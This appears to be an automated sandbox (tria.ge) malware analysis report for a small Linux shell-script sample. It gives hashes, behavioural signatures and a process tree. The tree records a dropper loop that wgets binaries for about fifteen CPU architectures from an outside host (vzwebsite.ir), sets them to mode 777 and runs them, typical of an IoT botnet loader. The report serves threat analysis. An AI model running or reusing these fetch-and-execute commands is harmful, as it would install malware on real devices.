Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
0s -
max time network
1146s -
platform
linux_mipsel -
resource
debian9-mipsel-en-20211208 -
resource tags
arch:mipselimage:debian9-mipsel-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
07/02/2023, 21:06
Static task
static1
Behavioral task
behavioral1
Sample
2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Resource
ubuntu1804-amd64-20221111-en
Behavioral task
behavioral2
Sample
2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Resource
debian9-armhf-en-20211208
Behavioral task
behavioral3
Sample
2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Resource
debian9-mipsbe-20221111-en
Behavioral task
behavioral4
Sample
2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Resource
debian9-mipsel-en-20211208
General
-
Target
2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
-
Size
320B
-
MD5
d4c058db66b0e54c8a6ae4c967479675
-
SHA1
8fc148163e25f149fbe0d49faa5359d33a67e087
-
SHA256
2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
-
SHA512
fcb8b851b40631fbc03f2e73045c92143ea6569eb8dcd82ca5335d7fa4c3d904041279cdadf7e9346af410eb9564b08256a0db6b448234eb4ed0785ceb94eaa2
Malware Config
Signatures
-
Modifies hosts file 15 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget /etc/hosts /etc/hosts wget -
Writes DNS configuration 1 TTPs 15 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget /etc/resolv.conf /etc/resolv.conf wget -
Reads runtime system information 15 IoCs
Reads data from /proc virtual filesystem.
description ioc Process /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process /tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6 /tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6 2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Processes
-
/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b61⤵
- Writes file to tmp directory
PID:328 -
/bin/rmrm -rf .rlds2⤵PID:329
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:330
-
-
/bin/chmodchmod 777 .rlds2⤵PID:331
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.arm7 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:332
-
-
./.rlds./.rlds wget..arm72⤵PID:337
-
-
/bin/rmrm -rf .rlds2⤵PID:338
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:339
-
-
/bin/chmodchmod 777 .rlds2⤵PID:340
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.arm4 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:341
-
-
./.rlds./.rlds wget..arm42⤵PID:342
-
-
/bin/rmrm -rf .rlds2⤵PID:343
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:344
-
-
/bin/chmodchmod 777 .rlds2⤵PID:345
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.arm5 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:346
-
-
./.rlds./.rlds wget..arm52⤵PID:347
-
-
/bin/rmrm -rf .rlds2⤵PID:348
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:349
-
-
/bin/chmodchmod 777 .rlds2⤵PID:350
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.arm6 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:351
-
-
./.rlds./.rlds wget..arm62⤵PID:352
-
-
/bin/rmrm -rf .rlds2⤵PID:353
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:354
-
-
/bin/chmodchmod 777 .rlds2⤵PID:355
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.armv4tl -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:356
-
-
./.rlds./.rlds wget..armv4tl2⤵PID:357
-
-
/bin/rmrm -rf .rlds2⤵PID:358
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:359
-
-
/bin/chmodchmod 777 .rlds2⤵PID:360
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.mips64 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:361
-
-
./.rlds./.rlds wget..mips642⤵PID:362
-
-
/bin/rmrm -rf .rlds2⤵PID:363
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:364
-
-
/bin/chmodchmod 777 .rlds2⤵PID:365
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.mips -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:366
-
-
./.rlds./.rlds wget..mips2⤵PID:367
-
-
/bin/rmrm -rf .rlds2⤵PID:368
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:369
-
-
/bin/chmodchmod 777 .rlds2⤵PID:370
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.mipsel -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:371
-
-
./.rlds./.rlds wget..mipsel2⤵PID:372
-
-
/bin/rmrm -rf .rlds2⤵PID:373
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:374
-
-
/bin/chmodchmod 777 .rlds2⤵PID:375
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.ppc440 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:376
-
-
./.rlds./.rlds wget..ppc4402⤵PID:377
-
-
/bin/rmrm -rf .rlds2⤵PID:378
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:379
-
-
/bin/chmodchmod 777 .rlds2⤵PID:380
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.powerpc -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:381
-
-
./.rlds./.rlds wget..powerpc2⤵PID:382
-
-
/bin/rmrm -rf .rlds2⤵PID:383
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:384
-
-
/bin/chmodchmod 777 .rlds2⤵PID:385
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.m68k -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:386
-
-
./.rlds./.rlds wget..m68k2⤵PID:387
-
-
/bin/rmrm -rf .rlds2⤵PID:388
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:389
-
-
/bin/chmodchmod 777 .rlds2⤵PID:390
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.sh4 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:391
-
-
./.rlds./.rlds wget..sh42⤵PID:392
-
-
/bin/rmrm -rf .rlds2⤵PID:393
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:394
-
-
/bin/chmodchmod 777 .rlds2⤵PID:395
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.sparc -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:396
-
-
./.rlds./.rlds wget..sparc2⤵PID:397
-
-
/bin/rmrm -rf .rlds2⤵PID:398
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:399
-
-
/bin/chmodchmod 777 .rlds2⤵PID:400
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.x86_64 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:401
-
-
./.rlds./.rlds wget..x86_642⤵PID:402
-
-
/bin/rmrm -rf .rlds2⤵PID:403
-
-
/bin/cpcp .rlds2⤵
- Reads runtime system information
PID:404
-
-
/bin/chmodchmod 777 .rlds2⤵PID:405
-
-
/usr/bin/wgetwget http://vzwebsite.ir/siffredi/dlz.i586 -O -2⤵
- Modifies hosts file
- Writes DNS configuration
PID:406
-
-
./.rlds./.rlds wget..i5862⤵PID:407
-